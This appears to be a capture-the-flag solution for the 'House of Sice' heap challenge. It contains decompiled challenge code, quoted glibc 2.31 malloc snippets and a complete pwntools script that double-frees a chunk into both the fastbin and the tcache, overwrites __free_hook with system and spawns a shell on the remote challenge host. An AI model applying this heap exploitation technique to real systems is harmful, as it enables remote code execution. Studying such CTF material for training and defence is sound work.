House of Sice

puts("Welcome to the House of Sice!");
puts("We offer the finest deets in the world at an affordable price!");
puts("Thanks to our money-back guaranteed policy, you can even sell your deets here!");
printf("As per tradition, we shall sice you a complimentary deet: %p\n",system);

void purchase_deet(void)
{
  int current_num_deets;
  ulong choice;
  void *_new_deet_ptr;
  void *new_deet_ptr;
  long in_FS_OFFSET;
  char buf [24];
  long canary;

  canary = *(in_FS_OFFSET + 0x28);
  current_num_deets = get_num_deets();
  puts("What kind of deet do you want?");
  puts("1. Delightful Deet");
  puts("2. Devious Deet");
  puts("3. Flag");
  printf("> ");
  read(0,buf,20);
  choice = strtoul(buf,0,10);
  if (choice == 2) {
    if (bought_devious == 0) {
      new_deet_ptr = calloc(8,1);
      deets[current_num_deets] = new_deet_ptr;
      bought_devious = 1;
    }
    else {
      puts("Out of stock!");
    }
  }
  else {
    if (choice == 3) {
      puts("Sorry, we\'re sold out!");
      goto LAB_00100bfc;
    }
    if (choice != 1) goto LAB_00100bfc;
    _new_deet_ptr = malloc(8);
    deets[current_num_deets] = _new_deet_ptr;
  }
  puts("Here\'s your deet!");
  puts("As always, we follow a pay-what-you-want policy.");
  puts("How much are you willing to pay for this?");
  printf("> ");
  read(0,buf,20);
  choice = strtoul(buf,0,10);
  *deets[current_num_deets] = choice;
  puts("Done!");
LAB_00100bfc:
  if (canary == *(in_FS_OFFSET + 0x28)) {
    return;
  }
  __stack_chk_fail();
}

int get_num_deets(void)
{
  int index;

  index = 0;
  while( true ) {
    if (15 < index) {
      puts("Out of space!");
      exit(-1);
    }
    if (deets[index] == 0) break;
    index = index + 1;
  }
  return index;
}

void sell_deet(void)
{
  ulong index;
  long in_FS_OFFSET;
  char buf [24];
  long canary;

  canary = *(in_FS_OFFSET + 0x28);
  puts("Which deet do you want to sell?");
  printf("> ");
  read(0,buf,20);
  index = strtoul(buf,0,10);
  if (index < 16) {
    free(deets[index]);
    puts("Done!");
  }
  else {
    puts("Invalid index!");
  }
  if (canary != *(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return;
}

# snippet from glibc-2.31/source/malloc/malloc.c

  if (!SINGLE_THREAD_P)
    {
      if (mem == 0 && av != NULL)
	{
	  LIBC_PROBE (memory_calloc_retry, 1, sz);
	  av = arena_get_retry (av, sz);
	  mem = _int_malloc (av, sz);
	}

      if (av != NULL)
	__libc_lock_unlock (av->mutex);
    }

# snippet from glibc-2.31/source/malloc/malloc.c

void *
__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;

  _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
                  "PTRDIFF_MAX is not more than half of SIZE_MAX");

  void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook);
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0));
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  if (!checked_request2size (bytes, &tbytes))
    {
      __set_errno (ENOMEM);
      return NULL;
    }
  size_t tc_idx = csize2tidx (tbytes);

  MAYBE_INIT_TCACHE ();

  DIAG_PUSH_NEEDS_COMMENT;
  if (tc_idx < mp_.tcache_bins
      && tcache
      && tcache->counts[tc_idx] > 0)
    {
      return tcache_get (tc_idx);
    }
  DIAG_POP_NEEDS_COMMENT;
#endif

  if (SINGLE_THREAD_P)
    {
      victim = _int_malloc (&main_arena, bytes);
      assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
	      &main_arena == arena_for_chunk (mem2chunk (victim)));
      return victim;
    }

  arena_get (ar_ptr, bytes);

  victim = _int_malloc (ar_ptr, bytes);

from pwn import *


HOST = "house-of-sice.hsc.tf"
PORT = 1337

CHALLENGE = "./house_of_sice"
CHALLENGE_LIBC = "./libc-2.31.so"
DEBUG_LIBC = "./libc-2.31-debug.so"

CHOICE_PROMPT = b"> "
COMPLEMENTARY_MARKER = b"complimentary deet: "

TCACHE_MAX_BINS = 7
FASTBIN_INDEX = (TCACHE_MAX_BINS + 1) - 1  # We define it as such for clarity
PLACEHOLDER = 0xDEADBEEF

current_index = 0

elf = context.binary = ELF(CHALLENGE, checksec=False)


if args.REMOTE:
    io = remote(HOST, PORT)
    libc = ELF(CHALLENGE_LIBC, checksec=False)
else:
    io = elf.process(aslr=False)
    libc = ELF(DEBUG_LIBC, checksec=False)


def delightful(amount: int) -> int:
    global current_index

    io.sendlineafter(CHOICE_PROMPT, str(1))
    io.sendlineafter(CHOICE_PROMPT, str(1))
    io.sendlineafter(CHOICE_PROMPT, str(amount))

    current_index += 1

    return current_index - 1


def devious(amount: int):
    global current_index

    io.sendlineafter(CHOICE_PROMPT, str(1))
    io.sendlineafter(CHOICE_PROMPT, str(2))
    io.sendlineafter(CHOICE_PROMPT, str(amount))

    current_index += 1

    return current_index - 1


def flag():
    io.sendlineafter(CHOICE_PROMPT, str(1))
    io.sendlineafter(CHOICE_PROMPT, str(3))


def sell(index: int):
    io.sendlineafter(CHOICE_PROMPT, str(2))
    io.sendlineafter(CHOICE_PROMPT, str(index))


def _exit():
    io.sendlineafter(CHOICE_PROMPT, str(3))


def get_complementary_deet() -> int:
    io.recvuntil(COMPLEMENTARY_MARKER)
    return int(io.recvline(), 16)


with log.progress("Resolving libc base address"):
    libc_system = get_complementary_deet()
    libc.address = libc_system - libc.sym.system
    log.success(f"libc @ 0x{libc.address:08x}")

with log.progress("Creating 8 chunks") as p:
    p.status(f"0/8")
    for i in range(TCACHE_MAX_BINS + 1):
        delightful(PLACEHOLDER)
        p.status(f"{i + 1}/8")

with log.progress("Filling up Tcache") as p:
    p.status(f"0/7")
    for i in range(TCACHE_MAX_BINS):
        sell(i)
        p.status(f"{i + 1}/7")

with log.progress("Overlapping Tcache chunk with Fastbin chunk") as p:
    p.status("Freeing chunk into fastbin (chunk A)")
    sell(FASTBIN_INDEX)
    p.status("Removing chunk from Tcache")
    delightful(PLACEHOLDER)
    p.status("Double free chunk A to also be in Tcache list")
    sell(FASTBIN_INDEX)

with log.progress("Linking `__free_hook` into Tcache list"):
    devious(libc.sym.__free_hook)  # this glibc 2.31 calloc path takes the fastbin chunk

with log.progress("Writing `sh` string onto heap"):
    sh_string = delightful(u32("sh\x00\x00"))

with log.progress("Writing `system` into `__free_hook`"):
    delightful(libc.sym.system)

with log.progress("Spawning shell"):
    sell(sh_string)

io.interactive()